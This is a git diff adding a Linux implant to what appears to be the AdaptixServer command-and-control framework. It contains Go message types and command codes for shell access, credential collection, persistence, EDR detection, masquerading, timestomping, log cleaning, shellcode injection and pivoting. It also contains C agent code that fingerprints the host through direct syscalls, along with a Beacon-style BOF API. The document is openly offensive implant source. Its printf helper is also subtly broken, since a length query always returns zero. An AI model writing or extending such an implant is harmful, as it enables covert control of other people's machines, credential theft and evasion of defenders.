+ Result bool `msgpack:"result"`
+ Status string `msgpack:"status"`
+ Processes []byte `msgpack:"processes"`
+}
+
+type ParamsKill struct {
+ Pid int `msgpack:"pid"`
+}
+
+type ParamsZip struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type AnsZip struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsRun struct {
+ Program string `msgpack:"program"`
+ Args []string `msgpack:"args"`
+ Task string `msgpack:"task"`
+}
+
+type AnsRun struct {
+ Stdout string `msgpack:"stdout"`
+ Stderr string `msgpack:"stderr"`
+ Pid int `msgpack:"pid"`
+ Start bool `msgpack:"start"`
+ Finish bool `msgpack:"finish"`
+}
+
+type JobInfo struct {
+ JobId string `msgpack:"job_id"`
+ JobType int `msgpack:"job_type"`
+}
+
+type AnsJobList struct {
+ List []byte `msgpack:"list"`
+}
+
+type ParamsJobKill struct {
+ Id string `msgpack:"id"`
+}
+
+type ParamsTunnelStart struct {
+ Proto string `msgpack:"proto"`
+ ChannelId int `msgpack:"channel_id"`
+ Address string `msgpack:"address"`
+}
+
+type ParamsTunnelWrite struct {
+ ChannelId int `msgpack:"channel_id"`
+ Data []byte `msgpack:"data"`
+}
+
+type ParamsTunnelStop struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+// Tunnel MUX responses (agent → teamserver)
+type AnsTunnelStatus struct {
+ ChannelId int `msgpack:"channel_id"`
+ Success bool `msgpack:"success"`
+ Reason int `msgpack:"reason"`
+}
+
+type AnsTunnelData struct {
+ ChannelId int `msgpack:"channel_id"`
+ Data []byte `msgpack:"data"`
+}
+
+type AnsTunnelClose struct {
+ ChannelId int `msgpack:"channel_id"`
+ Reason int `msgpack:"reason"`
+}
+
+type ParamsTunnelPause struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTunnelResume struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTerminalStart struct {
+ TermId int `msgpack:"term_id"`
+ Program string `msgpack:"program"`
+ Height int `msgpack:"height"`
+ Width int `msgpack:"width"`
+}
+
+type ParamsTerminalStop struct {
+ TermId int `msgpack:"term_id"`
+}
+
+// Linux-specific command params
+type ParamsCreds struct {
+ Type string `msgpack:"type"`
+}
+
+type ParamsPersist struct {
+ Action string `msgpack:"action"`
+ Cmd string `msgpack:"cmd"`
+ Schedule string `msgpack:"schedule"`
+ Name string `msgpack:"name"`
+ Path string `msgpack:"path"`
+ Type string `msgpack:"type"`
+}
+
+type ParamsContainer struct {
+ Action string `msgpack:"action"`
+}
+
+// OPSEC command params
+type ParamsMasquerade struct {
+ Name string `msgpack:"name"`
+}
+
+type ParamsTimestomp struct {
+ Path string `msgpack:"path"`
+ Timestamp uint64 `msgpack:"timestamp"`
+}
+
+type ParamsInject struct {
+ Pid int `msgpack:"pid"`
+ Shellcode []byte `msgpack:"shellcode"`
+}
+
+// Pivot command params/responses
+type ParamsLink struct {
+ Address string `msgpack:"address"`
+ Port int `msgpack:"port"`
+}
+
+type AnsLink struct {
+ Type int `msgpack:"type"`
+ Watermark uint32 `msgpack:"watermark"`
+ Beat []byte `msgpack:"beat"`
+ Error string `msgpack:"error"`
+}
+
+type ParamsUnlink struct {
+ PivotId uint32 `msgpack:"pivot_id"`
+}
+
+type AnsUnlink struct {
+ PivotId uint32 `msgpack:"pivot_id"`
+ Type int `msgpack:"type"`
+}
+
+type ParamsPivotExec struct {
+ PivotId uint32 `msgpack:"pivot_id"`
+ Data []byte `msgpack:"data"`
+}
+
+type AnsPivotExec struct {
+ PivotId uint32 `msgpack:"pivot_id"`
+ Data []byte `msgpack:"data"`
+}
+
+// BOF command params/responses
+type ParamsBof struct {
+ Content []byte `msgpack:"content"`
+ Args []byte `msgpack:"args"`
+ EntryFunc string `msgpack:"entry_func"`
+}
+
+type AnsBofOutput struct {
+ Type int `msgpack:"type"`
+ Output string `msgpack:"output"`
+}
+
+/// Command codes — must match agent-side defines in types.h
+
+const (
+ COMMAND_ERROR = 0
+ COMMAND_PWD = 1
+ COMMAND_CD = 2
+ COMMAND_SHELL = 3
+ COMMAND_EXIT = 4
+ COMMAND_DOWNLOAD = 5
+ COMMAND_UPLOAD = 6
+ COMMAND_CAT = 7
+ COMMAND_CP = 8
+ COMMAND_MV = 9
+ COMMAND_MKDIR = 10
+ COMMAND_RM = 11
+ COMMAND_LS = 12
+ COMMAND_PS = 13
+ COMMAND_KILL = 14
+ COMMAND_ZIP = 15
+ COMMAND_RUN = 17
+ COMMAND_JOB_LIST = 18
+ COMMAND_JOB_KILL = 19
+
+ // Linux-specific commands (slots 20-30)
+ COMMAND_GETUID = 20
+ COMMAND_ENV = 21
+ COMMAND_NETSTAT = 22
+ COMMAND_MOUNTS = 23
+ COMMAND_EDR = 24
+ COMMAND_CREDS = 25
+ COMMAND_PERSIST = 26
+ COMMAND_CONTAINER = 27
+
+ // OPSEC commands
+ COMMAND_MASQUERADE = 28
+ COMMAND_TIMESTOMP = 29
+ COMMAND_CLEANLOG = 30
+ COMMAND_INJECT = 37
+ COMMAND_MIGRATE = 38
+
+ // Pivot commands
+ COMMAND_PIVOT_EXEC = 39
+ COMMAND_LINK = 40
+ COMMAND_UNLINK = 41
+
+ COMMAND_TUNNEL_START = 31
+ COMMAND_TUNNEL_STOP = 32
+ COMMAND_TUNNEL_PAUSE = 33
+ COMMAND_TUNNEL_RESUME = 34
+
+ COMMAND_TERMINAL_START = 35
+ COMMAND_TERMINAL_STOP = 36
+
+ // Tunnel MUX commands (data flows in main channel, not separate connection)
+ COMMAND_TUNNEL_WRITE = 42
+ COMMAND_TUNNEL_STATUS = 43
+ COMMAND_TUNNEL_DATA = 44
+ COMMAND_TUNNEL_CLOSE = 45
+
+ // BOF commands
+ COMMAND_EXEC_BOF = 50
+ COMMAND_EXEC_BOF_OUT = 51
+ COMMAND_EXEC_BOF_ASYNC = 52
+
+ CALLBACK_OUTPUT = 0x0
+ CALLBACK_OUTPUT_OEM = 0x1e
+ CALLBACK_OUTPUT_UTF8 = 0x20
+ CALLBACK_ERROR = 0x0d
+
+ // BOF error codes
+ BOF_ERROR_PARSE = 0x101
+ BOF_ERROR_SYMBOL = 0x102
+ BOF_ERROR_ENTRY = 0x104
+ BOF_ERROR_ALLOC = 0x105
+ BOF_ERROR_RELOC = 0x106
+)
+
+/// Utility functions
+
+func parseDurationToSeconds(input string) (int, error) {
+ re := regexp.MustCompile(`(\d+)(h|m|s)`)
+ matches := re.FindAllStringSubmatch(input, -1)
+
+ if matches == nil {
+ input = input + "s"
+ matches = re.FindAllStringSubmatch(input, -1)
+ }
+
+ totalSeconds := 0
+ for _, match := range matches {
+ value, err := strconv.Atoi(match[1])
+ if err != nil {
+ return 0, err
+ }
+
+ switch match[2] {
+ case "h":
+ totalSeconds += value * 3600
+ case "m":
+ totalSeconds += value * 60
+ case "s":
+ totalSeconds += value
+ }
+ }
+
+ return totalSeconds, nil
+}
+
+func ZipBytes(data []byte, name string) ([]byte, error) {
+ var buf bytes.Buffer
+ zipWriter := zip.NewWriter(&buf)
+
+ writer, err := zipWriter.Create(name)
+ if err != nil {
+ return nil, err
+ }
+
+ _, err = writer.Write(data)
+ if err != nil {
+ return nil, err
+ }
+
+ err = zipWriter.Close()
+ if err != nil {
+ return nil, err
+ }
+
+ return buf.Bytes(), nil
+}
+
+func UnzipBytes(zipData []byte) (map[string][]byte, error) {
+ result := make(map[string][]byte)
+ reader := bytes.NewReader(zipData)
+
+ zipReader, err := zip.NewReader(reader, int64(len(zipData)))
+ if err != nil {
+ return nil, err
+ }
+
+ for _, file := range zipReader.File {
+ rc, err := file.Open()
+ if err != nil {
+ return nil, err
+ }
+
+ var buf bytes.Buffer
+ _, err = io.Copy(&buf, rc)
+ rc.Close()
+ if err != nil {
+ return nil, err
+ }
+
+ result[file.Name] = buf.Bytes()
+ }
+
+ return result, nil
+}
+
+func SizeBytesToFormat(bytes int64) string {
+ const (
+ KB = 1024.0
+ MB = KB * 1024
+ GB = MB * 1024
+ )
+
+ size := float64(bytes)
+
+ if size >= GB {
+ return fmt.Sprintf("%.2f Gb", size/GB)
+ } else if size >= MB {
+ return fmt.Sprintf("%.2f Mb", size/MB)
+ }
+ return fmt.Sprintf("%.2f Kb", size/KB)
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c
new file mode 100644
index 000000000..96c2c2a63
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c
@@ -0,0 +1,237 @@
+#include "agent_info.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// Read a file into buf via direct syscalls, null-terminate
+static int read_file(const char* path, char* buf, int buf_size) {
+ int fd = sys_open(path, 0 /* O_RDONLY */, 0);
+ if (fd < 0) return -1;
+ long n = sys_read(fd, buf, buf_size - 1);
+ sys_close(fd);
+ if (n <= 0) return -1;
+ buf[n] = '\0';
+ // Strip trailing newline
+ if (n > 0 && buf[n-1] == '\n') buf[n-1] = '\0';
+ return 0;
+}
+
+int agent_info_hostname(char* buf, int len) {
+ if (read_file("/proc/sys/kernel/hostname", buf, len) == 0)
+ return 0;
+ ax_strncpy(buf, "unknown", len - 1);
+ return 0;
+}
+
+int agent_info_username(char* buf, int len) {
+ // Read /etc/passwd, find line matching our UID
+ int uid = sys_getuid();
+
+ char passwd[4096];
+ int fd = sys_open("/etc/passwd", 0, 0);
+ if (fd < 0) {
+ ax_strncpy(buf, "unknown", len - 1);
+ return 0;
+ }
+
+ long n = sys_read(fd, passwd, sizeof(passwd) - 1);
+ sys_close(fd);
+ if (n <= 0) {
+ ax_strncpy(buf, "unknown", len - 1);
+ return 0;
+ }
+ passwd[n] = '\0';
+
+ // Parse each line: username:x:uid:gid:...
+ char* line = passwd;
+ while (*line) {
+ char* username_start = line;
+ char* colon1 = (char*)0;
+ char* colon2 = (char*)0;
+ char* colon3 = (char*)0;
+ char* p = line;
+ int colons = 0;
+
+ while (*p && *p != '\n') {
+ if (*p == ':') {
+ colons++;
+ if (colons == 1) colon1 = p;
+ else if (colons == 2) colon2 = p;
+ else if (colons == 3) colon3 = p;
+ }
+ p++;
+ }
+
+ if (colon2 && colon3) {
+ // Parse UID between colon2+1 and colon3
+ int parsed_uid = 0;
+ char* u = colon2 + 1;
+ while (u < colon3 && *u >= '0' && *u <= '9') {
+ parsed_uid = parsed_uid * 10 + (*u - '0');
+ u++;
+ }
+
+ if (parsed_uid == uid && colon1) {
+ int ulen = (int)(colon1 - username_start);
+ if (ulen >= len) ulen = len - 1;
+ ax_memcpy(buf, username_start, ulen);
+ buf[ulen] = '\0';
+ return 0;
+ }
+ }
+
+ // Advance to next line
+ if (*p == '\n') p++;
+ line = p;
+ }
+
+ ax_strncpy(buf, "unknown", len - 1);
+ return 0;
+}
+
+int agent_info_ipaddr(char* buf, int len) {
+ // Read /proc/net/fib_trie or parse /proc/net/if_inet6 is complex
+ // Simpler: read from /proc/net/tcp or use ioctl — but for Phase 1,
+ // just read /proc/net/route to find default gateway interface, then
+ // read that interface's addr. Simplest: read /proc/self/net/fib_trie.
+ //
+ // For now, parse first non-loopback from /proc/net/fib_trie
+ // Format of interesting lines: " |-- X.X.X.X" followed by "/32 host LOCAL"
+ buf[0] = '\0';
+
+ char fib[8192];
+ int fd = sys_open("/proc/net/fib_trie", 0, 0);
+ if (fd < 0) return 0;
+
+ long total = 0;
+ long n;
+ while (total < (long)sizeof(fib) - 1) {
+ n = sys_read(fd, fib + total, sizeof(fib) - 1 - total);
+ if (n <= 0) break;
+ total += n;
+ }
+ sys_close(fd);
+ if (total <= 0) return 0;
+ fib[total] = '\0';
+
+ // Find LOCAL addresses that aren't 127.x.x.x
+ char* p = fib;
+ while (*p) {
+ // Look for "|-- " pattern
+ if (p[0] == '|' && p[1] == '-' && p[2] == '-' && p[3] == ' ') {
+ char* ip_start = p + 4;
+ // Read until newline
+ char* ip_end = ip_start;
+ while (*ip_end && *ip_end != '\n') ip_end++;
+
+ int ip_len = (int)(ip_end - ip_start);
+ // Check if this is followed by a LOCAL line
+ char* next = ip_end;
+ if (*next == '\n') next++;
+ // Look for "LOCAL" in the next few lines
+ int found_local = 0;
+ for (int lines = 0; lines < 3 && *next; lines++) {
+ if (ax_strstr(next, "LOCAL")) {
+ found_local = 1;
+ break;
+ }
+ while (*next && *next != '\n') next++;
+ if (*next == '\n') next++;
+ }
+
+ if (found_local && ip_len > 0 && ip_len < len) {
+ // Skip 127.x.x.x
+ if (!(ip_start[0] == '1' && ip_start[1] == '2' && ip_start[2] == '7' && ip_start[3] == '.')) {
+ ax_memcpy(buf, ip_start, ip_len);
+ buf[ip_len] = '\0';
+ return 0;
+ }
+ }
+ }
+ p++;
+ }
+
+ return 0;
+}
+
+int agent_info_osversion(char* buf, int len) {
+ // Try /etc/os-release first
+ char osrel[2048];
+ if (read_file("/etc/os-release", osrel, sizeof(osrel)) == 0) {
+ // Look for PRETTY_NAME="..."
+ char* key = ax_strstr(osrel, "PRETTY_NAME=");
+ if (key) {
+ key += 12; // skip "PRETTY_NAME="
+ if (*key == '"') key++;
+ char* end = key;
+ while (*end && *end != '"' && *end != '\n') end++;
+ int vlen = (int)(end - key);
+ if (vlen >= len) vlen = len - 1;
+ ax_memcpy(buf, key, vlen);
+ buf[vlen] = '\0';
+ return 0;
+ }
+ }
+
+ // Fallback: /proc/version
+ if (read_file("/proc/version", buf, len) == 0)
+ return 0;
+
+ ax_strncpy(buf, "Linux", len - 1);
+ return 0;
+}
+
+// Get process name from /proc/self/comm
+static void get_process_name(char* buf, int len) {
+ if (read_file("/proc/self/comm", buf, len) == 0)
+ return;
+ ax_strncpy(buf, "unknown", len - 1);
+}
+
+int create_session_info(mp_writer_t* w, uint8_t* session_key) {
+ // Generate random session key (16 bytes for AES-128)
+ if (ax_random_bytes(session_key, 16) != 0) return -1;
+
+ char hostname[256] = {0};
+ agent_info_hostname(hostname, sizeof(hostname));
+
+ char username[256] = {0};
+ agent_info_username(username, sizeof(username));
+
+ char process[256] = {0};
+ get_process_name(process, sizeof(process));
+
+ char ip[64] = {0};
+ agent_info_ipaddr(ip, sizeof(ip));
+
+ char os_version[256] = {0};
+ agent_info_osversion(os_version, sizeof(os_version));
+
+ int pid = sys_getpid();
+ int elevated = (sys_geteuid() == 0) ? 1 : 0;
+
+ // Write SessionInfo as msgpack map
+ // vmihailenco/msgpack v5 serializes in DECLARATION order
+ // Go struct: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key
+ mp_write_map(w, 11);
+
+ mp_write_kv_str(w, "process", process);
+ mp_write_kv_int(w, "pid", pid);
+ mp_write_kv_str(w, "user", username);
+ mp_write_kv_str(w, "host", hostname);
+ mp_write_kv_str(w, "ipaddr", ip);
+ mp_write_kv_bool(w, "elevated", elevated);
+ mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page
+ mp_write_kv_uint(w, "oem", 65001);
+ mp_write_kv_str(w, "os", "linux");
+ mp_write_kv_str(w, "os_version", os_version);
+ mp_write_kv_bin(w, "encrypt_key", session_key, 16);
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h
new file mode 100644
index 000000000..ab771719f
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h
@@ -0,0 +1,25 @@
+#ifndef AGENT_INFO_H
+#define AGENT_INFO_H
+
+#include "msgpack.h"
+#include
+
+/// System info collection for session registration.
+/// Individual getters fill a caller-provided buffer, return 0 on success.
+/// create_session_info() builds the full SessionInfo msgpack payload.
+
+int agent_info_hostname(char *buf, int len);
+int agent_info_username(char *buf, int len);
+int agent_info_ipaddr(char *buf, int len);
+int agent_info_osversion(char *buf, int len);
+
+/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct.
+/// Also generates a random 16-byte session encryption key.
+///
+/// msgpack keys (declaration order, matching Go vmihailenco/msgpack):
+/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user
+///
+/// Returns 0 on success, fills session_key (16 bytes).
+int create_session_info(mp_writer_t *w, uint8_t *session_key);
+
+#endif /* AGENT_INFO_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c
new file mode 100644
index 000000000..7ab16215b
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c
@@ -0,0 +1,262 @@
+/// ax_vsnprintf.c — Minimal vsnprintf for nostdlib environment
+/// Supports: %s %d %i %u %x %X %p %c %% %ld %lu %lx %lX
+/// Supports: width, zero-padding, left-align (-)
+/// No float support (not needed for BOFs)
+
+#include "crt.h"
+#include
+
+/// Write a single character to buffer (with bounds check)
+static inline int out_char(char *buf, size_t pos, size_t size, char c) {
+ if (pos < size - 1)
+ buf[pos] = c;
+ return 1;
+}
+
+/// Write a string to buffer
+static int out_str(char *buf, size_t pos, size_t size, const char *s, int width, int left_align) {
+ int written = 0;
+ int slen = 0;
+ const char *p = s;
+
+ if (!s) s = "(null)";
+ p = s;
+ while (*p) { slen++; p++; }
+
+ int pad = (width > slen) ? width - slen : 0;
+
+ if (!left_align) {
+ for (int i = 0; i < pad; i++)
+ written += out_char(buf, pos + written, size, ' ');
+ }
+ for (int i = 0; i < slen; i++)
+ written += out_char(buf, pos + written, size, s[i]);
+ if (left_align) {
+ for (int i = 0; i < pad; i++)
+ written += out_char(buf, pos + written, size, ' ');
+ }
+ return written;
+}
+
+/// Write an unsigned integer (base 10 or 16)
+static int out_uint(char *buf, size_t pos, size_t size,
+ unsigned long long val, int base, int upper,
+ int width, char pad_char, int left_align) {
+ char tmp[24]; // enough for 64-bit
+ int idx = 0;
+ int written = 0;
+
+ if (val == 0) {
+ tmp[idx++] = '0';
+ } else {
+ while (val > 0) {
+ int d = val % base;
+ if (d < 10)
+ tmp[idx++] = '0' + d;
+ else
+ tmp[idx++] = (upper ? 'A' : 'a') + d - 10;
+ val /= base;
+ }
+ }
+
+ int numlen = idx;
+ int pad = (width > numlen) ? width - numlen : 0;
+
+ if (!left_align) {
+ for (int i = 0; i < pad; i++)
+ written += out_char(buf, pos + written, size, pad_char);
+ }
+ // digits in reverse
+ for (int i = idx - 1; i >= 0; i--)
+ written += out_char(buf, pos + written, size, tmp[i]);
+ if (left_align) {
+ for (int i = 0; i < pad; i++)
+ written += out_char(buf, pos + written, size, ' ');
+ }
+ return written;
+}
+
+/// Write a signed integer
+static int out_int(char *buf, size_t pos, size_t size,
+ long long val, int width, char pad_char, int left_align) {
+ int written = 0;
+ int negative = 0;
+
+ if (val < 0) {
+ negative = 1;
+ val = -val;
+ if (pad_char == '0' && !left_align) {
+ written += out_char(buf, pos + written, size, '-');
+ width--; // sign takes one slot
+ }
+ }
+
+ if (negative && pad_char != '0') {
+ // Count digits to determine padding
+ char tmp[24];
+ int idx = 0;
+ long long v = val;
+ if (v == 0) { tmp[idx++] = '0'; }
+ else { while (v > 0) { tmp[idx++] = '0' + (v % 10); v /= 10; } }
+ int numlen = idx + 1; // +1 for sign
+ int pad = (width > numlen) ? width - numlen : 0;
+
+ if (!left_align) {
+ for (int i = 0; i < pad; i++)
+ written += out_char(buf, pos + written, size, ' ');
+ }
+ written += out_char(buf, pos + written, size, '-');
+ for (int i = idx - 1; i >= 0; i--)
+ written += out_char(buf, pos + written, size, tmp[i]);
+ if (left_align) {
+ for (int i = 0; i < pad; i++)
+ written += out_char(buf, pos + written, size, ' ');
+ }
+ return written;
+ }
+
+ if (negative && pad_char == '0') {
+ // sign already written above
+ written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align);
+ } else {
+ written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align);
+ }
+ return written;
+}
+
+int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap) {
+ size_t pos = 0;
+
+ if (!buf || size == 0)
+ return 0;
+
+ while (*fmt) {
+ if (*fmt != '%') {
+ pos += out_char(buf, pos, size, *fmt);
+ fmt++;
+ continue;
+ }
+
+ fmt++; // skip '%'
+
+ // Parse flags
+ int left_align = 0;
+ char pad_char = ' ';
+
+ while (*fmt == '-' || *fmt == '0') {
+ if (*fmt == '-') left_align = 1;
+ if (*fmt == '0' && !left_align) pad_char = '0';
+ fmt++;
+ }
+
+ // Parse width
+ int width = 0;
+ while (*fmt >= '0' && *fmt <= '9') {
+ width = width * 10 + (*fmt - '0');
+ fmt++;
+ }
+
+ // Parse length modifier
+ int is_long = 0;
+ if (*fmt == 'l') {
+ is_long = 1;
+ fmt++;
+ if (*fmt == 'l') {
+ is_long = 2;
+ fmt++;
+ }
+ }
+
+ // Parse conversion
+ switch (*fmt) {
+ case 'd':
+ case 'i': {
+ long long val;
+ if (is_long >= 2)
+ val = va_arg(ap, long long);
+ else if (is_long == 1)
+ val = va_arg(ap, long);
+ else
+ val = va_arg(ap, int);
+ pos += out_int(buf, pos, size, val, width, pad_char, left_align);
+ break;
+ }
+ case 'u': {
+ unsigned long long val;
+ if (is_long >= 2)
+ val = va_arg(ap, unsigned long long);
+ else if (is_long == 1)
+ val = va_arg(ap, unsigned long);
+ else
+ val = va_arg(ap, unsigned int);
+ pos += out_uint(buf, pos, size, val, 10, 0, width, pad_char, left_align);
+ break;
+ }
+ case 'x': {
+ unsigned long long val;
+ if (is_long >= 2)
+ val = va_arg(ap, unsigned long long);
+ else if (is_long == 1)
+ val = va_arg(ap, unsigned long);
+ else
+ val = va_arg(ap, unsigned int);
+ pos += out_uint(buf, pos, size, val, 16, 0, width, pad_char, left_align);
+ break;
+ }
+ case 'X': {
+ unsigned long long val;
+ if (is_long >= 2)
+ val = va_arg(ap, unsigned long long);
+ else if (is_long == 1)
+ val = va_arg(ap, unsigned long);
+ else
+ val = va_arg(ap, unsigned int);
+ pos += out_uint(buf, pos, size, val, 16, 1, width, pad_char, left_align);
+ break;
+ }
+ case 'p': {
+ unsigned long long val = (unsigned long long)(uintptr_t)va_arg(ap, void *);
+ pos += out_char(buf, pos, size, '0');
+ pos += out_char(buf, pos, size, 'x');
+ pos += out_uint(buf, pos, size, val, 16, 0, 0, '0', 0);
+ break;
+ }
+ case 's': {
+ const char *s = va_arg(ap, const char *);
+ pos += out_str(buf, pos, size, s, width, left_align);
+ break;
+ }
+ case 'c': {
+ char c = (char)va_arg(ap, int);
+ pos += out_char(buf, pos, size, c);
+ break;
+ }
+ case '%':
+ pos += out_char(buf, pos, size, '%');
+ break;
+ default:
+ // Unknown format — output as-is
+ pos += out_char(buf, pos, size, '%');
+ pos += out_char(buf, pos, size, *fmt);
+ break;
+ }
+
+ fmt++;
+ }
+
+ // Null-terminate
+ if (pos < size)
+ buf[pos] = '\0';
+ else if (size > 0)
+ buf[size - 1] = '\0';
+
+ return (int)pos;
+}
+
+int ax_snprintf(char *buf, size_t size, const char *fmt, ...) {
+ va_list ap;
+ va_start(ap, fmt);
+ int ret = ax_vsnprintf(buf, size, fmt, ap);
+ va_end(ap);
+ return ret;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c
new file mode 100644
index 000000000..c9719c61b
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c
@@ -0,0 +1,611 @@
+/// bof_api.c — Linux Beacon API implementation for BOF execution
+/// Port of beacon_functions.cpp (Windows) to Linux C with nostdlib
+
+#include "bof_api.h"
+#include "crt.h"
+#include "types.h"
+#include "msgpack.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Global state — set by elf_bof.c before calling BOF entry point
+/// ────────────────────────────────────────────────────────────────────────────
+
+/// Output accumulator buffer
+static buffer_t bof_output_buf;
+static int bof_output_initialized = 0;
+static int bof_output_error_type = 0; // 0 = no error, >0 = error code
+
+void bof_output_init(void) {
+ if (!bof_output_initialized) {
+ buf_init(&bof_output_buf, 4096);
+ bof_output_initialized = 1;
+ } else {
+ buf_reset(&bof_output_buf);
+ }
+ bof_output_error_type = 0;
+}
+
+void bof_output_cleanup(void) {
+ if (bof_output_initialized) {
+ buf_free(&bof_output_buf);
+ bof_output_initialized = 0;
+ }
+}
+
+/// Get accumulated output (null-terminated)
+const char *bof_output_get(int *out_len) {
+ if (!bof_output_initialized || bof_output_buf.len == 0) {
+ if (out_len) *out_len = 0;
+ return "";
+ }
+ // Ensure null termination
+ char zero = '\0';
+ buf_append(&bof_output_buf, &zero, 1);
+ bof_output_buf.len--; // don't count the null in length
+ if (out_len) *out_len = bof_output_buf.len;
+ return (const char *)bof_output_buf.data;
+}
+
+int bof_output_get_error(void) {
+ return bof_output_error_type;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Endianness swap (for BeaconFormatInt — big-endian encoding)
+/// ────────────────────────────────────────────────────────────────────────────
+
+static unsigned int swap_endianness(unsigned int indata) {
+ unsigned int testint = 0xaabbccdd;
+ unsigned int outint = indata;
+ if (((unsigned char *)&testint)[0] == 0xdd) {
+ ((unsigned char *)&outint)[0] = ((unsigned char *)&indata)[3];
+ ((unsigned char *)&outint)[1] = ((unsigned char *)&indata)[2];
+ ((unsigned char *)&outint)[2] = ((unsigned char *)&indata)[1];
+ ((unsigned char *)&outint)[3] = ((unsigned char *)&indata)[0];
+ }
+ return outint;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Data Parser API (CS-compatible)
+/// ────────────────────────────────────────────────────────────────────────────
+
+void BeaconDataParse(datap *parser, char *buffer, int size) {
+ if (!parser || !buffer)
+ return;
+ parser->original = buffer;
+ parser->buffer = buffer + 4;
+ parser->length = size - 4;
+ parser->size = size - 4;
+}
+
+int BeaconDataInt(datap *parser) {
+ if (!parser || parser->length < 4)
+ return 0;
+ int val = 0;
+ ax_memcpy(&val, parser->buffer, 4);
+ parser->buffer += 4;
+ parser->length -= 4;
+ return val;
+}
+
+short BeaconDataShort(datap *parser) {
+ if (!parser || parser->length < 2)
+ return 0;
+ short val = 0;
+ ax_memcpy(&val, parser->buffer, 2);
+ parser->buffer += 2;
+ parser->length -= 2;
+ return val;
+}
+
+int BeaconDataLength(datap *parser) {
+ if (!parser)
+ return 0;
+ return parser->length;
+}
+
+char *BeaconDataExtract(datap *parser, int *size) {
+ if (!parser || parser->length < 4)
+ return (char *)0;
+
+ unsigned int length = 0;
+ ax_memcpy(&length, parser->buffer, 4);
+ parser->length -= 4;
+ parser->buffer += 4;
+
+ char *outdata = parser->buffer;
+
+ parser->length -= length;
+ parser->buffer += length;
+
+ if (size)
+ *size = length;
+ return outdata;
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Output API
+/// ────────────────────────────────────────────────────────────────────────────
+
+void BeaconOutput(int type, const char *data, int len) {
+ if (!data || !bof_output_initialized)
+ return;
+
+ if (type == CALLBACK_ERROR) {
+ bof_output_error_type = CALLBACK_ERROR;
+ }
+
+ if (len > 0) {
+ buf_append(&bof_output_buf, data, len);
+ } else {
+ // If len == 0, treat data as null-terminated string
+ int slen = (int)ax_strlen(data);
+ buf_append(&bof_output_buf, data, slen);
+ }
+}
+
+void BeaconPrintf(int type, const char *fmt, ...) {
+ if (!fmt || !bof_output_initialized)
+ return;
+
+ if (type == CALLBACK_ERROR) {
+ bof_output_error_type = CALLBACK_ERROR;
+ }
+
+ // First pass: compute needed length
+ va_list args;
+ va_start(args, fmt);
+ int needed = ax_vsnprintf((char *)0, 0, fmt, args);
+ va_end(args);
+
+ if (needed <= 0)
+ return;
+
+ // Allocate temporary buffer
+ char *tmp = (char *)ax_malloc(needed + 1);
+ if (!tmp)
+ return;
+
+ va_start(args, fmt);
+ ax_vsnprintf(tmp, needed + 1, fmt, args);
+ va_end(args);
+
+ buf_append(&bof_output_buf, tmp, needed);
+ ax_free(tmp);
+}
+
+/// ────────────────────────────────────────────────────────────────────────────
+/// Format API
+/// ────────────────────────────────────────────────────────────────────────────
+
+void BeaconFormatAlloc(formatp *format, int maxsz) {
+ if (!format)
+ return;
+ format->original = (char *)ax_malloc(maxsz);
+ format->buffer = format->original;
+ format->length = 0;
+ format->size = maxsz;
+}
+
+void BeaconFormatReset(formatp *format) {
+ if (!format || !format->original)
+ return;
+ ax_memset(format->original, 0, format->size);
+ format->buffer = format->original;
+ format->length = 0;
+}
+
+void BeaconFormatAppend(formatp *format, const char *text, int len) {
+ if (!format || !text)
+ return;
+ if (format->length + len > format->size)
+ return;
+ ax_memcpy(format->buffer, text, len);
+ format->buffer += len;
+ format->length += len;
+}
+
+void BeaconFormatPrintf(formatp *format, const char *fmt, ...) {
+ if (!format || !fmt)
+ return;
+
+ va_list args;
+ va_start(args, fmt);
+ int remaining = format->size - format->length;
+ if (remaining <= 0) {
+ va_end(args);
+ return;
+ }
+ int written = ax_vsnprintf(format->buffer, remaining, fmt, args);
+ va_end(args);
+
+ if (written > 0) {
+ format->length += written;
+ format->buffer += written;
+ }
+}
+
+char *BeaconFormatToString(formatp *format, int *size) {
+ if (!format)
+ return (char *)0;
+ if (size)
+ *size = format->length;
+ return format->original;
+}
+
+void BeaconFormatFree(formatp *format) {
+ if (!format)
+ return;
+ if (format->original) {
+ ax_memset(format->original, 0, format->size);
+ ax_free(format->original);
+ }
